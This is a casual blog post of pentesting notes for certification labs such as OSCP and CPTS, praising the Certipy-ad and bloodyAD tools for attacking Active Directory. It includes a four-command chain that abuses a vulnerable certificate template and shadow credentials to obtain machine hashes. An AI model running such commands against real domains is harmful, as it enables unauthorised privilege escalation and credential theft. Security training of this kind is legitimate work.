Pentesting Notes, Active Directory Part two
So doing more boxes lately with AD and really starting to the love the combo, Certipy-ad + BloodyAD:
version: 2.5.4 arch: all Active Directory privilege escalation framework bloodyAD can perform specific LDAP calls to a…www.kali.org
version: 5.0.4 arch: all Tool for attacking AD Certificate Services Offensive tool for enumerating and abusing Active…www.kali.org
Honestly I came to love this tool. This thing is just insane and wanted to show more about what it can do with notes, and more notes with as a combo which can be used on the OSCP, and you can probably be sure it will for the CPTS or the boxes you probably seen on HackSmarter or that beloved platform I love (the better one!, the cert I am gearing up for).
Install is very simple:
sudo apt install bloodyadSame with Certipy-AD:
sudo apt install certipy-adSo what is bloodyAD, Active Directory (AD) enumeration and privilege escalation. It functions as a lightweight command-line framework that interacts with Domain Controllers via LDAP and SAMR to exploit misconfigurations and elevate access.
BloodyAD is an Active Directory Privilege Escalation Framework - CravateRouge/bloodyADgithub.com
This thing is insanley easy to use:
Master Active Directory pentesting with BloodyAD: DCSync, Kerberoasting, RBCD & ACL abuse techniques explained.www.hackingarticles.in
Get group members bloodyAD -u john.doe -d bloody -p Password512! --host 192.168.10.2 get object Users --attr member #…notes.incendium.rocks
These links goes over a bit more on the commands, but combine that with ceritpy-ad:
The Hacker Recipes is aimed at freely providing technical guides on various hacking topicswww.thehacker.recipes
This tool has been my favorite to go with AD lately and you should give it a try. You can use this on the CPTS and its on a few boxes from my actual favorite platform and others like hack smarter. Like with the with these few commands here:
certipy-ad find -u 'user@domain.local' -p 'password' -dc-ip $target -vulnerable
bloodyAD -d domain.local -u 'user' -p 'password' --host $target add shadowCredentials target_computer
certipy-ad req -u 'user' -p 'password' -target $target -ca domain-CA-CA -template VulnerableTemplate -dns target_computer.domain.local
certipy-ad auth -pfx target_computer.pfx -dc-ip $target
gets hashesThats one method. BloodyAD can also run bloodyhound too and collect the information. Really loving this tool and putting it in my arsenal!
Thanks for reading, also I’m not ready for the new halo at all!!! Nope! Keep hacking.